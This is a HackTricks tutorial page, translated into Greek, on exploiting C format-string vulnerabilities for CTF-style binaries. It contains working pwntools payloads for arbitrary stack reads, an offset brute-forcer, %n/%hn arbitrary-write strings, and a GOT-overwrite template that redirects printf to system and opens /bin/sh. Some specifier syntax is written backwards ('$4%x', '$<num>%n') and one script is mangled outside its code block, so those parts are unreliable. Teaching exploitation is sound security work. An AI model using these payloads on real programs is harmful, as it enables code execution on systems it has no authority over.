.. | ||
format-strings-arbitrary-read-example.md | ||
format-strings-template.md | ||
README.md |
Συμβολοσειρές Μορφοποίησης
Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Red Team του HackTricks στο AWS)!
- Εργάζεστε σε μια εταιρεία κυβερνοασφάλειας; Θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks; ή θέλετε να έχετε πρόσβαση στην τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF; Ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα τηλεγραφήματος ή ακολουθήστε με στο Twitter 🐦@carlospolopm.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο αποθετήριο hacktricks και αποθετήριο hacktricks-cloud.
Βασικές Πληροφορίες
Στη γλώσσα C, η printf
είναι μια συνάρτηση που μπορεί να χρησιμοποιηθεί για να εκτυπώσει μια συμβολοσειρά. Η πρώτη παράμετρος που αναμένει αυτή η συνάρτηση είναι το ακατέργαστο κείμενο με τους μορφοποιητές. Οι επόμενες παράμετροι που αναμένονται είναι οι τιμές που θα αντικατασταθούν στους μορφοποιητές από το ακατέργαστο κείμενο.
Άλλες ευάλωτες συναρτήσεις είναι οι sprintf()
και fprintf()
.
Η ευπάθεια εμφανίζεται όταν ένα κείμενο επιτιθέμενου χρησιμοποιείται ως η πρώτη παράμετρος σε αυτή τη συνάρτηση. Ο επιτιθέμενος θα μπορεί να δημιουργήσει μια ειδική είσοδο καταχρώμενος τις δυνατότητες της συμβολοσειράς μορφοποίησης του printf για να διαβάσει και εγγράψει οποιαδήποτε δεδομένα σε οποιαδήποτε διεύθυνση (αναγνώσιμη/εγγράψιμη). Με αυτόν τον τρόπο είναι δυνατή η εκτέλεση αυθαίρετου κώδικα.
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
Παραδείγματα:
- Ευάλωτο παράδειγμα:
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
- Κανονική Χρήση:
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
- Με Λείποντα Ορίσματα:
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
- ευάλωτη συνάρτηση fprintf:
#include <stdio.h>
int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input cna include formatters!
fclose(output_file);
return 0;
}
Πρόσβαση σε Δείκτες
Η μορφή %<n>$x
, όπου n
είναι ένας αριθμός, επιτρέπει στο printf να επιλέξει την παράμετρο n (από τη στοίβα). Έτσι, αν θέλετε να διαβάσετε την 4η παράμετρο από τη στοίβα χρησιμοποιώντας το printf, μπορείτε να κάνετε:
printf("%x %x %x %x")
και θα διαβάζετε από την πρώτη έως την τέταρτη παράμετρο.
Ή μπορείτε να κάνετε:
printf("$4%x")
και διαβάστε απευθείας το τέταρτο.
Σημειώστε ότι ο επιτιθέμενος ελέγχει την παράμετρο pr
intf
, που σημαίνει βασικά ότι η είσοδός του θα βρίσκεται στη στοίβα όταν καλείται το printf
, πράγμα που σημαίνει ότι θα μπορούσε να γράψει συγκεκριμένες διευθύνσεις μνήμης στη στοίβα.
{% hint style="danger" %}
Ένας επιτιθέμενος που ελέγχει αυτήν την είσοδο, θα μπορεί να προσθέσει αυθαίρετη διεύθυνση στη στοίβα και να κάνει το printf
να τις προσπελάσει. Στην επόμενη ενότητα θα εξηγηθεί πώς να χρησιμοποιηθεί αυτή η συμπεριφορά.
{% endhint %}
Αυθαίρετη Ανάγνωση
Είναι δυνατό να χρησιμοποιηθεί ο μορφοποιητής %n$s
για να πάρει τη διεύθυνση που βρίσκεται στη θέση n, ακολουθούμενη από αυτή και να την εκτυπώσει σαν να ήταν ένα string (εκτύπωση μέχρι να βρεθεί το 0x00). Έτσι, αν η βασική διεύθυνση του δυαδικού είναι 0x8048000
, και γνωρίζουμε ότι η είσοδος του χρήστη ξεκινά στην 4η θέση στη στοίβα, είναι δυνατό να εκτυπώσουμε την αρχή του δυαδικού με:
from pwn import *
p = process('./bin')
payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
{% hint style="danger" %} Σημειώστε ότι δεν μπορείτε να τοποθετήσετε τη διεύθυνση 0x8048000 στην αρχή της εισόδου επειδή η συμβολοσειρά θα καταλήξει στο 0x00 στο τέλος αυτής της διεύθυνσης. {% endhint %}
Εύρεση μετατόπισης
Για να βρείτε τη μετατόπιση προς την είσοδό σας, μπορείτε να στείλετε 4 ή 8 bytes (0x41414141
) ακολουθούμενα από το %1$x
και να αυξήσετε την τιμή μέχρι να ανακτήσετε τα A's
.
Βίαιη εύρεση μετατόπισης printf
```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leakfrom pwn import *
Iterate over a range of integers
for i in range(10):
Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()
Start a new process of the "chall" binary
p = process("./chall")
Send the payload to the process
p.sendline(payload)
Read and store the output of the process
output = p.clean()
Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}") break
Close the process
p.close()
</details>
### Πόσο χρήσιμο
Οι αυθαίρετες αναγνώσεις μπορούν να είναι χρήσιμες για:
* **Αποθήκευση** του **δυαδικού** από τη μνήμη
* **Πρόσβαση σε συγκεκριμένα τμήματα μνήμης όπου αποθηκεύονται ευαίσθητες** **πληροφορίες** (όπως canaries, κλειδιά κρυπτογράφησης ή προσαρμοσμένοι κωδικοί πρόσβασης όπως σε αυτήν την [**πρόκληση CTF**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
## **Αυθαίρετη Εγγραφή**
Ο μορφοποιητής **`$<num>%n`** **εγγράφει** τον **αριθμό των γραμμένων bytes** στην **υποδειγμένη διεύθυνση** στην παράμετρο \<num> στο stack. Αν ένας επιτιθέμενος μπορεί να γράψει τόσα χαρακτήρες όσα θέλει με την printf, τότε θα μπορεί να κάνει το **`$<num>%n`** να γράψει έναν αυθαίρετο αριθμό σε μια αυθαίρετη διεύθυνση.
Ευτυχώς, για να γράψει τον αριθμό 9999, δεν είναι απαραίτητο να προστεθούν 9999 "A" στην είσοδο, για να το κάνει αυτό είναι δυνατό να χρησιμοποιηθεί ο μορφοποιητής **`%.<num-write>%<num>$n`** για να γράψει τον αριθμό **`<num-write>`** στη **διεύθυνση που δείχνει η θέση `num`**.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
Ωστόσο, να σημειωθεί ότι συνήθως για να γράψετε μια διεύθυνση όπως 0x08049724
(που είναι ένα ΤΕΡΑΣΤΙΟ νούμερο για να γραφτεί με μία φορά), χρησιμοποιείται το $hn
αντί για το $n
. Αυτό επιτρέπει να γραφτούν μόνο 2 Bytes. Συνεπώς, αυτή η λειτουργία εκτελείται δύο φορές, μία για τα υψηλότερα 2B της διεύθυνσης και μια άλλη φορά για τα χαμηλότερα.
Επομένως, αυτή η ευπάθεια επιτρέπει να γραφτεί οτιδήποτε σε οποιαδήποτε διεύθυνση (αυθαίρετη εγγραφή).
Σε αυτό το παράδειγμα, ο στόχος είναι να αντικατασταθεί η διεύθυνση μιας συνάρτησης στον πίνακα GOT που θα κληθεί αργότερα. Αν και αυτό θα μπορούσε να εκμεταλλευτεί άλλες τεχνικές αυθαίρετης εγγραφής για εκτέλεση:
{% content-ref url="../arbitrary-write-2-exec/" %} arbitrary-write-2-exec {% endcontent-ref %}
Θα αντικατασταθεί μια συνάρτηση που λαμβάνει τα ορίσματά της από τον χρήστη και θα την κατευθύνει προς τη συνάρτηση system
.
Όπως αναφέρθηκε, για να γραφτεί η διεύθυνση, συνήθως απαιτούνται 2 βήματα: Πρώτα γράφετε τα 2Bytes της διεύθυνσης και στη συνέχεια τα άλλα 2. Για να το κάνετε αυτό χρησιμοποιείται το $hn
.
- Το HOB αναφέρεται στα 2 υψηλότερα bytes της διεύθυνσης
- Το LOB αναφέρεται στα 2 χαμηλότερα bytes της διεύθυνσης
Στη συνέχεια, λόγω του τρόπου λειτουργίας της συμβολοσειράς μορφοποίησης, πρέπει να γράψετε πρώτα το μικρότερο από [HOB, LOB] και στη συνέχεια το άλλο.
Αν το HOB < LOB
[διεύθυνση+2][διεύθυνση]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]
Αν το HOB > LOB
[διεύθυνση+2][διεύθυνση]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
{% code overflow="wrap" %}
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
{% endcode %}
Πρότυπο Pwntools
Μπορείτε να βρείτε ένα πρότυπο για την προετοιμασία ενός εκμεταλλεύοντας για αυτο το είδος ευπαθειας στο:
{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}
Ή αυτό το βασικό παράδειγμα από εδώ:
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
Format Strings σε BOF
Είναι δυνατόν να καταχραστείτε τις ενέργειες εγγραφής μιας ευπάθειας format string για εγγραφή σε διευθύνσεις του stack και εκμεταλλευτείτε μια ευπάθεια τύπου buffer overflow.
Άλλα Παραδείγματα & Αναφορές
- https://ir0nstone.gitbook.io/notes/types/stack/format-string
- https://www.youtube.com/watch?v=t1LH9D5cuK4
- https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
- https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html
- 32 bit, χωρίς relro, χωρίς canary, nx, χωρίς pie, βασική χρήση format strings για διαρροή της σημαίας από το stack (χωρίς την ανάγκη να τροποποιηθεί η ροή εκτέλεσης)
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32 bit, relro, χωρίς canary, nx, χωρίς pie, format string για αντικατάσταση της διεύθυνσης
fflush
με τη λειτουργία win (ret2win) - https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html
- 32 bit, relro, χωρίς canary, nx, χωρίς pie, format string για εγγραφή μιας διεύθυνσης μέσα στο main στο
.fini_array
(ώστε η ροή να επαναλαμβάνεται 1 ακόμη φορά) και εγγραφή της διεύθυνσης στοsystem
στον πίνακα GOT που δείχνει στοstrlen
. Όταν η ροή επιστρέψει στο main, τοstrlen
εκτελείται με είσοδο χρήστη και δείχνοντας στοsystem
, θα εκτελέσει τις περασμένες εντολές.